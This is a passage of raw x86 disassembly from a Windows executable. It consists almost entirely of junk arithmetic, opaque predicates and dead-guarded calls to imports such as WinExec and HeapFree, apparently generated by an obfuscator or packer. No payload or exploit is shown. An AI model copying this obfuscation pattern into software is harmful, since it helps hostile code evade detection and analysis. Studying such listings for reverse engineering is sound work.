inc eax
mov dword [ebp - 0x1c9c], eax
jmp 0x449d2b
jmp 0x449cf5
jmp 0x449e06
mov dword [ebp - 0x2850], 1
mov dword [ebp - 0x2cc], 0x1d
jmp 0x449d84
mov eax, dword [ebp - 0x2cc]
dec eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0xffffffe3
jne 0x449e06
mov dword [ebp - 0x2848], 0x88a746c2
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x2848], eax
jge 0x449db7
mov dword [ebp - 0xd9c], 1
jmp 0x449dbe
and dword [ebp - 0xd9c], 0
mov eax, dword [ebp - 0x2850]
mov dword [ebp - 0x800], eax
mov eax, dword [ebp - 0x800]
cmp eax, dword [ebp - 0xd9c]
jge 0x449de4
mov dword [ebp - 0x1ca4], 1
jmp 0x449deb
and dword [ebp - 0x1ca4], 0
mov eax, dword [ebp - 0x1ca4]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x558], 0xffffffff
jmp 0x449d77
mov dword [ebp - 0x558], 0
jmp 0x449e1f
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 8
jne 0x449e5c
mov dword [ebp - 0x2858], 0xcb25bb54
cmp dword [ebp - 0x2858], 5
jbe 0x449e47
mov dword [ebp - 0xda4], 1
jmp 0x449e4e
and dword [ebp - 0xda4], 0
mov eax, dword [ebp - 0xda4]
mov dword [ebp - 0xa8], eax
jmp 0x449e12
mov dword [ebp - 0x5c0], 0
jmp 0x449e75
mov eax, dword [ebp - 0x5c0]
inc eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 2
jge 0x449e91
mov eax, dword [ebp - 0x5c0]
mov dword [ebp + eax*4 - 0xb30], 0
jmp 0x449e68
mov dword [ebp - 0x480], 2
mov dword [ebp - 0x120], 0
jmp 0x449eb4
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 1
jge 0x449ed0
mov eax, dword [ebp - 0x120]
mov dword [ebp + eax*4 - 0x408], 0x1713b910
jmp 0x449ea7
mov dword [ebp - 0x120], 0
jmp 0x449ee9
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 1
jge 0x449f05
mov eax, dword [ebp - 0x120]
mov dword [ebp + eax*4 - 0x808], 1
jmp 0x449edc
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x808], 0
jmp 0x449f33
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x808]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x808], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x808], 0
jl 0x44a195
mov dword [ebp - 0x248], 9
mov dword [ebp - 0x5c8], 0
jmp 0x449f6a
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 3
jge 0x449f86
mov eax, dword [ebp - 0x5c8]
mov dword [ebp + eax*4 - 0x34c8], 0x61bab593
jmp 0x449f5d
mov dword [ebp - 0x248], 0
jmp 0x449f9f
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jg 0x44a190
mov dword [ebp - 0x194], 1
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x194], 0
jmp 0x449fdc
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
jg 0x44a18b
mov dword [ebp - 0x2860], 0xfffffff8
mov dword [ebp - 0x480], 0
jmp 0x44a00c
mov eax, dword [ebp - 0x480]
inc eax
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 0
jg 0x44a186
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x480]
add ecx, 0x411a
cmp dword [ebp + eax*4 - 0x408], ecx
jl 0x44a040
mov dword [ebp - 0x1cac], 1
jmp 0x44a047
and dword [ebp - 0x1cac], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x1cac], eax
jne 0x44a061
mov dword [ebp - 0xdac], 1
jmp 0x44a068
and dword [ebp - 0xdac], 0
mov eax, dword [ebp - 0x248]
mov eax, dword [ebp + eax*4 - 0x408]
cmp eax, dword [ebp - 0xdac]
jge 0x44a089
mov dword [ebp - 0x1cb4], 1
jmp 0x44a090
and dword [ebp - 0x1cb4], 0
cmp dword [ebp - 0x1cb4], 3
jle 0x44a0a5
mov dword [ebp - 0xdb4], 1
jmp 0x44a0ac
and dword [ebp - 0xdb4], 0
cmp dword [ebp - 0xdb4], 0xfffffffb
jg 0x44a0c1
mov dword [ebp - 0x1cbc], 1
jmp 0x44a0c8
and dword [ebp - 0x1cbc], 0
mov eax, dword [ebp - 0x248]
mov eax, dword [ebp + eax*4 - 0x408]
cmp dword [ebp - 0x1cbc], eax
jg 0x44a0e9
mov dword [ebp - 0xdbc], 1
jmp 0x44a0f0
and dword [ebp - 0xdbc], 0
imul eax, dword [ebp - 0xdbc], 0xffff
add eax, dword [ebp - 0x194]
je 0x44a146
cmp dword [ebp - 0x2860], 0
je 0x44a146
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x408], 0xf35dd758
jae 0x44a12a
mov dword [ebp - 0x1cc4], 1
jmp 0x44a131
and dword [ebp - 0x1cc4], 0
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x1cc4]
mov dword [ebp + eax*4 - 0x34c4], ecx
jmp 0x44a167
mov byte [ebp - 0x288], 0
movzx eax, byte [ebp - 0x288]
test eax, eax
je 0x44a167
push 0
push 0x1c85
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x480]
mov eax, dword [ebp + eax*4 - 0x408]
mov dword [ebp + ecx*4 - 0x408], eax
jmp 0x449fff
jmp 0x449fcf
jmp 0x449f92
jmp 0x449f18
xor eax, eax
jne 0x44a1b5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb3c], 0
jne 0x44a1b5
mov dword [ebp - 0xdc4], 1
jmp 0x44a1bc
and dword [ebp - 0xdc4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad4]
cmp dword [ebp - 0xdc4], eax
jne 0x44a1dc
mov dword [ebp - 0x1ccc], 1
jmp 0x44a1e3
and dword [ebp - 0x1ccc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb30]
cmp dword [ebp - 0x1ccc], eax
jne 0x44a204
mov dword [ebp - 0xdcc], 1
jmp 0x44a20b
and dword [ebp - 0xdcc], 0
cmp dword [ebp - 0xdcc], 0xfbebf0a0
jbe 0x44a223
mov dword [ebp - 0x1cd4], 1
jmp 0x44a22a
and dword [ebp - 0x1cd4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb30]
cmp dword [ebp - 0x1cd4], eax
jg 0x44a24b
mov dword [ebp - 0xdd4], 1
jmp 0x44a252
and dword [ebp - 0xdd4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb3c]
cmp eax, dword [ebp - 0xdd4]
jge 0x44a273
mov dword [ebp - 0x1cdc], 1
jmp 0x44a27a
and dword [ebp - 0x1cdc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb30]
imul eax, dword [ebp - 0x1cdc]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xb30]
sub eax, 0x3d0e72ee
jmp 0x44a2af
and dword [ebp - 0x2868], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xb30]
cmp dword [ebp + eax - 0xad4], ecx
jge 0x44a2dd
mov dword [ebp - 0xddc], 1
jmp 0x44a2e4
and dword [ebp - 0xddc], 0
cmp dword [ebp - 0xddc], 0x1a17e59
je 0x44a2fc
mov dword [ebp - 0x1ce4], 1
jmp 0x44a303
and dword [ebp - 0x1ce4], 0
cmp dword [ebp - 0x1ce4], 0x358bd4df
je 0x44a31b
mov dword [ebp - 0xde4], 1
jmp 0x44a322
and dword [ebp - 0xde4], 0
cmp dword [ebp - 0xde4], 0xffffffff
jge 0x44a337
mov dword [ebp - 0x1cec], 1
jmp 0x44a33e
and dword [ebp - 0x1cec], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb30]
cmp dword [ebp - 0x1cec], eax
je 0x44a35f
mov dword [ebp - 0xdec], 1
jmp 0x44a366
and dword [ebp - 0xdec], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad4]
mov ecx, dword [ebp - 0xdec]
mov dword [ebp + eax*4 - 0xb3c], ecx
mov dword [ebp - 0x218], 1
mov dword [ebp - 0x128], 0
jmp 0x44a3a2
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 2
jge 0x44a3be
mov eax, dword [ebp - 0x128]
mov dword [ebp + eax*4 - 0x21ac], 0xfffffff9
jmp 0x44a395
mov dword [ebp - 0x128], 0
jmp 0x44a3d7
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 1
jge 0x44a3f3
mov eax, dword [ebp - 0x128]
mov dword [ebp + eax*4 - 0x2878], 0
jmp 0x44a3ca
mov dword [ebp - 0x218], 0
jmp 0x44a40c
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 1
jg 0x44a4d0
mov dword [ebp - 0x1cf4], 0x20a29822
mov dword [ebp - 0x2870], 0xfffffffd
mov eax, dword [ebp - 0x218]
mov eax, dword [ebp + eax*4 - 0x21ac]
mov dword [ebp - 0x2f04], eax
mov eax, dword [ebp - 0x218]
mov eax, dword [ebp + eax*4 - 0x21ac]
mov dword [ebp - 0x1cf4], eax
imul eax, dword [ebp - 0x218], 0xca9d
mov ecx, dword [ebp - 0x218]
mov ecx, dword [ebp + ecx*4 - 0x21ac]
sub ecx, eax
cmp ecx, dword [ebp - 0x1cf4]
je 0x44a489
cmp dword [ebp - 0x2870], 0
je 0x44a489
mov dword [ebp - 0xdf4], 1
jmp 0x44a490
and dword [ebp - 0xdf4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21ac]
cmp dword [ebp - 0xdf4], eax
je 0x44a4b1
mov dword [ebp - 0x1cfc], 1
jmp 0x44a4b8
and dword [ebp - 0x1cfc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1cfc]
mov dword [ebp + eax - 0x2878], ecx
jmp 0x44a3ff
imul eax, dword [ebp - 0xe04], 0x536c
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb30], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad4]
mov ecx, dword [ebp - 0x1d0c]
cmp dword [ebp + eax*4 - 0xb3c], ecx
jg 0x44a50e
mov dword [ebp - 0x2880], 1
jmp 0x44a515
and dword [ebp - 0x2880], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad4]
mov dword [ebp - 0x2f0c], eax
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xad4]
cmp dword [ebp + eax - 0xad4], ecx
jge 0x44a54d
mov dword [ebp - 0xdfc], 1
jmp 0x44a554
and dword [ebp - 0xdfc], 0
cmp dword [ebp - 0xdfc], 0xa1ee3199
jae 0x44a56c
mov dword [ebp - 0x1d04], 1
jmp 0x44a573
and dword [ebp - 0x1d04], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb3c]
cmp dword [ebp - 0x1d04], eax
jl 0x44a594
mov dword [ebp - 0x2888], 1
jmp 0x44a59b
and dword [ebp - 0x2888], 0
mov eax, dword [ebp - 0xe04]
mov dword [ebp - 0x2f14], eax
cmp dword [ebp - 0x1d0c], 0xffffffff
je 0x44a5bc
mov dword [ebp - 0xe0c], 1
jmp 0x44a5c3
and dword [ebp - 0xe0c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad4]
mov eax, dword [ebp + eax*4 - 0xb3c]
cmp dword [ebp - 0xe0c], eax
jl 0x44a5ea
mov dword [ebp - 0x1d14], 1
jmp 0x44a5f1
and dword [ebp - 0x1d14], 0
cmp dword [ebp - 0x1d14], 0x4c90eb1f
jge 0x44a609
mov dword [ebp - 0xe14], 1
jmp 0x44a610
and dword [ebp - 0xe14], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe14]
mov dword [ebp + eax - 0xb3c], ecx
jmp 0x448ec0
mov dword [ebp - 0x2890], 3
mov dword [ebp - 0x810], 0
jmp 0x44a64b
mov eax, dword [ebp - 0x810]
inc eax
mov dword [ebp - 0x810], eax
cmp dword [ebp - 0x810], 1
jge 0x44a667
mov eax, dword [ebp - 0x810]
mov dword [ebp + eax*4 - 0x2898], 0xffffffff
jmp 0x44a63e
cmp dword [ebp - 0x2890], 0x9b2c
jne 0x44a67f
mov dword [ebp - 0x1d1c], 1
jmp 0x44a686
and dword [ebp - 0x1d1c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d1c]
mov dword [ebp + eax - 0x2898], ecx
mov byte [ebp - 0x28a], 0
movzx eax, byte [ebp - 0x28a]
test eax, eax
je 0x44a6c6
push 0x20bf
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
cmp dword [ebp + 8], 2
jl 0x456c7b
mov dword [ebp - 0x2a7c], 7
mov dword [ebp - 0x2a78], 7
mov dword [ebp - 0x2a74], 7
mov dword [ebp - 0x2a70], 7
mov dword [ebp - 0x270], 0x81c2900
mov dword [ebp - 0x2f1c], 0xc044b0bf
mov dword [ebp - 0x28ac], 0x35c22c92
mov dword [ebp - 0x270], 3
jmp 0x44a72f
mov eax, dword [ebp - 0x270]
dec eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0
jl 0x44a856
mov dword [ebp - 0x1d24], 0xb748abb7
mov dword [ebp - 0x5d0], 0
jmp 0x44a75f
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 1
jge 0x44a77b
mov eax, dword [ebp - 0x5d0]
mov dword [ebp + eax*4 - 0x93c], 0x827359b5
jmp 0x44a752
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x93c]
mov dword [ebp - 0x2f24], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x270]
cmp dword [ebp + eax - 0x93c], ecx
jl 0x44a7af
mov dword [ebp - 0xb40], 1
jmp 0x44a7b6
and dword [ebp - 0xb40], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb40]
mov dword [ebp + eax - 0x93c], ecx
cmp dword [ebp - 0xb40], 0
jne 0x44a7e8
cmp dword [ebp - 0x270], 0
jne 0x44a7e8
xor eax, eax
jne 0x44a7e8
and dword [ebp - 0xe1c], 0
jmp 0x44a7f2
mov dword [ebp - 0xe1c], 1
mov eax, dword [ebp - 0x270]
mov eax, dword [ebp + eax*4 - 0x2a7c]
mov dword [ebp - 0xe24], eax
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0xe24]
mov dword [ebp + eax*4 - 0x2a7c], ecx
mov eax, dword [ebp - 0xe1c]
mov dword [ebp - 0x1d24], eax
mov eax, dword [ebp - 0x1d24]
cmp dword [ebp - 0xe24], eax
jl 0x44a83e
mov dword [ebp - 0x1d2c], 1
jmp 0x44a845
and dword [ebp - 0x1d2c], 0
mov eax, dword [ebp - 0x1d2c]
mov dword [ebp - 0x28ac], eax
jmp 0x44a722
mov dword [ebp - 0x2d4], 0xb26bdde0
mov dword [ebp - 0x2d4], 0xa
jmp 0x44a879
mov eax, dword [ebp - 0x2d4]
dec eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 3
jge 0x44ab78
mov dword [ebp - 0x220], 2
mov dword [ebp - 0x1d34], 1
mov dword [ebp - 0x2900], 0x7e2
mov dword [ebp - 0x2920], 0xfffffffb
mov dword [ebp - 0x818], 0
jmp 0x44a8c7
mov eax, dword [ebp - 0x818]
inc eax
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 2
jge 0x44a8e3
mov eax, dword [ebp - 0x818]
mov dword [ebp + eax*4 - 0x2224], 0x318d5816
jmp 0x44a8ba
mov dword [ebp - 0x220], 0
jmp 0x44a8fc
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 1
jg 0x44a93b
mov byte [ebp - 0x28c], 0
movzx eax, byte [ebp - 0x28c]
test eax, eax
je 0x44a91f
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov byte [ebp - 0x28e], 0
movzx eax, byte [ebp - 0x28e]
test eax, eax
je 0x44a939
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
jmp 0x44a8ef
mov dword [ebp - 0x220], 0
jmp 0x44a954
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0xc
jge 0x44ab73
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x2928], 0xbb9cec02
mov dword [ebp - 0x19c], 1
jmp 0x44a98e
mov eax, dword [ebp - 0x19c]
dec eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
jl 0x44ab6e
mov dword [ebp - 0xe2c], 0x88cdf8ab
mov dword [ebp - 0x2910], 0x3b5b
mov dword [ebp - 0xe2c], 0xffffffff
mov eax, dword [ebp - 0xe2c]
mov dword [ebp - 0x1d34], eax
mov eax, dword [ebp - 0x1d34]
mov dword [ebp - 0x2f2c], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x2f34], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2224]
mov dword [ebp - 0x2f3c], eax
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0x2900], eax
jg 0x44aa0a
mov dword [ebp - 0xe34], 1
jmp 0x44aa11
and dword [ebp - 0xe34], 0
mov eax, 0xb8fa
sub eax, dword [ebp - 0xe34]
cmp eax, 0x5a82a6f9
jl 0x44aa2f
mov dword [ebp - 0x1d3c], 1
jmp 0x44aa36
and dword [ebp - 0x1d3c], 0
imul eax, dword [ebp - 0x1d3c], 0x9b03
cmp eax, 0x4655
jge 0x44aa53
mov dword [ebp - 0x2908], 1
jmp 0x44aa5a
and dword [ebp - 0x2908], 0
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x2f44], eax
mov eax, dword [ebp - 0x19c]
cmp dword [ebp + eax*4 - 0x2224], 0
je 0x44aa8f
mov eax, 0x7da19ae8
test eax, eax
je 0x44aa8f
push 8
pop eax
test eax, eax
jne 0x44aa8f
and dword [ebp - 0xe3c], 0
jmp 0x44aa99
mov dword [ebp - 0xe3c], 1
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp + eax*4 - 0x2224]
add eax, dword [ebp - 0xe3c]
sub eax, dword [ebp - 0x2910]
cmp eax, 0xffffffff
ja 0x44aac3
mov dword [ebp - 0x1d44], 1
jmp 0x44aaca
and dword [ebp - 0x1d44], 0
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp + eax*4 - 0x2224]
cmp dword [ebp - 0x1d44], eax
jg 0x44aaeb
mov dword [ebp - 0xe44], 1
jmp 0x44aaf2
and dword [ebp - 0xe44], 0
cmp dword [ebp - 0xe44], 0x49f4ffcf
jl 0x44ab0a
mov dword [ebp - 0x2918], 1
jmp 0x44ab11
and dword [ebp - 0x2918], 0
mov eax, dword [ebp - 0x2920]
mov dword [ebp - 0x2f4c], eax
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0x19c], eax
je 0x44ab37
mov dword [ebp - 0x1d4c], 1
jmp 0x44ab3e
and dword [ebp - 0x1d4c], 0
mov eax, dword [ebp - 0x1d4c]
mov dword [ebp - 0x2928], eax
mov byte [ebp - 0x290], 0
movzx eax, byte [ebp - 0x290]
test eax, eax
je 0x44ab69
push 0x1107
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x44a981
jmp 0x44a947
jmp 0x44a86c
mov dword [ebp - 0x448], 0
mov dword [ebp - 0xe54], 0xffffffff
mov dword [ebp - 0x2938], 0xbd13d8c5
mov dword [ebp - 0x448], 0
jmp 0x44abaf
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0x19
jg 0x44ac9d
mov dword [ebp - 0xe5c], 0xe60b0cea
mov dword [ebp - 0x1d5c], 0x9b1a
mov dword [ebp - 0x2940], 0x8e136dc9
cmp dword [ebp - 0xe5c], 0
je 0x44abf8
cmp dword [ebp - 0x1d5c], 0
je 0x44abf8
mov dword [ebp - 0xe4c], 1
jmp 0x44abff
and dword [ebp - 0xe4c], 0
cmp dword [ebp - 0xe4c], 0xc4b03e38
je 0x44ac17
mov dword [ebp - 0x1d54], 1
jmp 0x44ac1e
and dword [ebp - 0x1d54], 0
xor eax, eax
sub eax, dword [ebp - 0x1d54]
mov dword [ebp - 0xe54], eax
imul eax, dword [ebp - 0xe54], 0x7ace
test eax, eax
je 0x44ac43
cmp dword [ebp - 0x448], 0
jne 0x44ac55
mov eax, 0xb0ae28de
test eax, eax
jne 0x44ac55
and dword [ebp - 0x2930], 0
jmp 0x44ac5f
mov dword [ebp - 0x2930], 1
mov eax, dword [ebp - 0x1d5c]
cmp dword [ebp - 0xe5c], eax
jl 0x44ac79
mov dword [ebp - 0x1d64], 1
jmp 0x44ac80
and dword [ebp - 0x1d64], 0
mov eax, dword [ebp - 0x1d64]
mov dword [ebp - 0x2938], eax
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0x2940], eax
jmp 0x44aba2
mov dword [ebp - 0x50c], 0xffffffff
mov dword [ebp - 0xb4], 0xee76f502
mov dword [ebp - 0x5d8], 0
jmp 0x44acca
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 4
jge 0x44ace6
mov eax, dword [ebp - 0x5d8]
mov dword [ebp + eax*4 - 0x21e4], 0xfffffff6
jmp 0x44acbd
mov dword [ebp - 0xb4], 0
jmp 0x44acff
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jg 0x44aecd
mov dword [ebp - 0x68], 0x52c58fb7
mov dword [ebp - 0x2950], 0
mov dword [ebp - 0x820], 0
jmp 0x44ad36
mov eax, dword [ebp - 0x820]
inc eax
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x820], 3
jge 0x44ad52
mov eax, dword [ebp - 0x820]
mov dword [ebp + eax*4 - 0x31a4], 0xfffffff8
jmp 0x44ad29
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x68], 0
jmp 0x44ad69
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x44ad7f
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x21e4], 0x748afa2f
jmp 0x44ad62
mov dword [ebp - 0x68], 0
jmp 0x44ad8f
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jg 0x44aec8
mov eax, 0xe780ca9f
test eax, eax
je 0x44ae83
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ebp + ecx*4 - 0x21e4]
cmp dword [ebp + eax*4 - 0x21e4], ecx
jle 0x44adce
mov dword [ebp - 0xe64], 1
jmp 0x44add5
and dword [ebp - 0xe64], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe64]
mov dword [ebp + eax - 0x31a4], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ebp + ecx*4 - 0x21e4]
cmp dword [ebp + eax - 0x21e4], ecx
jl 0x44ae0f
mov dword [ebp - 0x1d6c], 1
jmp 0x44ae16
and dword [ebp - 0x1d6c], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x21e4]
cmp dword [ebp - 0x1d6c], eax
jg 0x44ae37
mov dword [ebp - 0xe6c], 1
jmp 0x44ae3e
and dword [ebp - 0xe6c], 0
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xe6c]
sub ecx, dword [ebp + eax*4 - 0x21e4]
jne 0x44ae62
cmp dword [ebp - 0x68], 0
jne 0x44ae62
and dword [ebp - 0x1d74], 0
jmp 0x44ae6c
mov dword [ebp - 0x1d74], 1
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x1d74], eax
jg 0x44ae83
mov dword [ebp - 0x2948], 1
jmp 0x44ae8a
and dword [ebp - 0x2948], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x21e4]
mov dword [ebp - 0x2f54], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x21e4]
mov dword [ebp - 0x2f5c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x31a4]
mov dword [ebp - 0x2950], eax
jmp 0x44ad88
jmp 0x44acf2
mov dword [ebp - 0x2798], 0xb667f5ae
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2968], 0x3e1e01b1
mov dword [ebp - 0x2f64], 0
mov dword [ebp - 0x4a4], 0xe3e45bbb
mov dword [ebp - 0x504], 0x89e022a5
mov dword [ebp - 0x94c], 0x6dd2cc9
mov dword [ebp - 0x2130], 0
mov dword [ebp - 0x212c], 0
mov dword [ebp - 0x2128], 0
mov dword [ebp - 0x2124], 0
mov dword [ebp - 0x944], 0xfb1a
mov dword [ebp - 0xa5c], 0xa77b69c9
mov dword [ebp - 0x5e0], 0
jmp 0x44af68
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 3
jge 0x44af84
mov eax, dword [ebp - 0x5e0]
mov dword [ebp + eax*4 - 0x213c], 1
jmp 0x44af5b
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x30bc], eax
cmp dword [ebp - 0xa5c], 0x29207965
jge 0x44afaf
push 2
pop eax
test eax, eax
je 0x44afaf
mov dword [ebp - 0xe74], 1
jmp 0x44afb6
and dword [ebp - 0xe74], 0
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0xe74], eax
je 0x44afd9
mov eax, 0xbf79
test eax, eax
je 0x44afd9
mov dword [ebp - 0x2958], 1
jmp 0x44afe0
and dword [ebp - 0x2958], 0
mov eax, dword [ebp - 0x944]
mov dword [ebp - 0x30c4], eax
mov eax, dword [ebp - 0x94c]
mov dword [ebp - 0x30cc], eax
mov eax, dword [ebp - 0x944]
inc eax
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x4a4], 0xb090
jg 0x44b01d
mov dword [ebp - 0x1d7c], 1
jmp 0x44b024
and dword [ebp - 0x1d7c], 0
mov eax, dword [ebp - 0x1d7c]
mov dword [ebp - 0x504], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x213c]
cmp dword [ebp - 0x504], eax
jg 0x44b050
mov dword [ebp - 0xe7c], 1
jmp 0x44b057
and dword [ebp - 0xe7c], 0
cmp dword [ebp - 0xe7c], 0xbecc
jg 0x44b06f
mov dword [ebp - 0x1d84], 1
jmp 0x44b076
and dword [ebp - 0x1d84], 0
mov eax, dword [ebp - 0x1d84]
add eax, 7
je 0x44b096
cmp dword [ebp - 0x94c], 0
je 0x44b096
mov dword [ebp - 0xe84], 1
jmp 0x44b09d
and dword [ebp - 0xe84], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x213c]
sub eax, dword [ebp - 0xe84]
cmp eax, dword [ebp - 0x2dc]
jg 0x44b0c4
mov dword [ebp - 0x2960], 1
jmp 0x44b0cb
and dword [ebp - 0x2960], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x213c]
mov dword [ebp - 0x30d4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x213c]
mov dword [ebp - 0x2dc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x213c]
cmp eax, dword [ebp - 0x2dc]
jl 0x44b112
mov dword [ebp - 0x1d8c], 1
jmp 0x44b119
and dword [ebp - 0x1d8c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2130]
cmp dword [ebp - 0x1d8c], eax
jne 0x44b139
mov dword [ebp - 0xe8c], 1
jmp 0x44b140
and dword [ebp - 0xe8c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2130]
cmp dword [ebp - 0xe8c], eax
jge 0x44b16a
cmp dword [ebp - 0x2dc], 0
je 0x44b16a
mov dword [ebp - 0x1d94], 1
jmp 0x44b171
and dword [ebp - 0x1d94], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x213c]
cmp dword [ebp - 0x1d94], eax
jg 0x44b192
